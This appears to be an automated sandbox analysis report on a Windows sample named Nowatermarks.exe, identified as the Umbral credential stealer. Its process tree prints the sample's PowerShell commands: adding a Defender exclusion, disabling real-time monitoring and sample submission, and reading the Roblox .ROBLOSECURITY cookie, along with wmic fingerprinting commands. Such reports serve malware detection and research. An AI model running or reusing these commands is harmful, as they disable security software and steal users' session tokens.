Resubmissions

09/08/2024, 17:20

240809-vwc9aataqn10

09/08/2024, 17:16

240809-vtg5fsxblb10

08/08/2024, 19:08

240808-xtpkmsxgmn10

Analysis

  • max time kernel
    139s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    09/08/2024, 17:16

General

  • Target
    Nowatermarks.exe
  • Size 227KB
  • Sample240809-vtg5fsxblb
  • SHA256 4916686177420dca945e81aebaf2fc098c21ddb74fbbf9d0f6f2adaf37f218e8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe
    "C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nowatermarks.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:280
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:572
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3052
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3016
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1724
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{06622D85-6856-4460-8DE1-A81921B41C4B}
      1⤵
      • System Location Discovery: System Language Discovery
      PID:448
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7d99758,0x7fef7d99768,0x7fef7d99778
        2⤵
          PID:268
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1168 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:2
          2⤵
            PID:276
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1524 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:8
            2⤵
              PID:2748
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1624 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:8
              2⤵
                PID:1892
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2252 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:1
                2⤵
                  PID:1984
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2264 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:1
                  2⤵
                    PID:1500
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2844 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:2
                    2⤵
                      PID:2720
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1452 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:1
                      2⤵
                        PID:1796
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3676 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:8
                        2⤵
                          PID:2724
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3756 --field-trial-handle=1300,i,13059931892378150790,15716644553424864064,131072 /prefetch:1
                          2⤵
                            PID:1840
                        • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                          1⤵
                            PID:2580

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                f_000001

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001
                                • Size 210KB
                                • SHA256 04d7bf7a6586ef00516bdb3f7b96c65e0b9c6b940f4b145121ed00f6116bbb77
                                • MD5 SHA1 SHA512 SSDEEP

                                000006.dbtmp

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000006.dbtmp
                                • Size 16B
                                • SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
                                • MD5 SHA1 SHA512

                                data_1

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1
                                • Size 264KB
                                • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                • MD5 SHA1 SHA512 SSDEEP

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                • Size 5KB
                                • SHA256 5f9ab447b4d203665f8b3d4c43b0a905fb89e798e04e598485dd7b05d4a543df
                                • MD5 SHA1 SHA512 SSDEEP

                                000007.dbtmp

                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp
                                • Size 16B
                                • SHA256 8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
                                • MD5 SHA1 SHA512

                                590aee7bdd69b59b.customDestinations-ms

                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                • Size 7KB
                                • SHA256 6dd735eadeaefb330e57d3565462ad0ca0150954f59cf29f430cb96d359fd2e6
                                • MD5 SHA1 SHA512 SSDEEP

                                memory/1080-1-0x0000000000A50000-0x0000000000A90000-memory.dmp

                                memory/1080-2-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

                                memory/1080-0-0x000007FEF5743000-0x000007FEF5744000-memory.dmp

                                memory/1080-50-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

                                memory/2376-9-0x0000000001E90000-0x0000000001E98000-memory.dmp

                                memory/2376-15-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-11-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-12-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-13-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-14-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-10-0x000007FEEC5F0000-0x000007FEECF8D000-memory.dmp

                                memory/2376-8-0x000000001B8A0000-0x000000001BB82000-memory.dmp

                                memory/2376-7-0x000007FEEC8AE000-0x000007FEEC8AF000-memory.dmp

                                memory/2780-21-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

                                memory/2780-22-0x0000000001F00000-0x0000000001F08000-memory.dmp

                                memory/3016-46-0x0000000002870000-0x0000000002878000-memory.dmp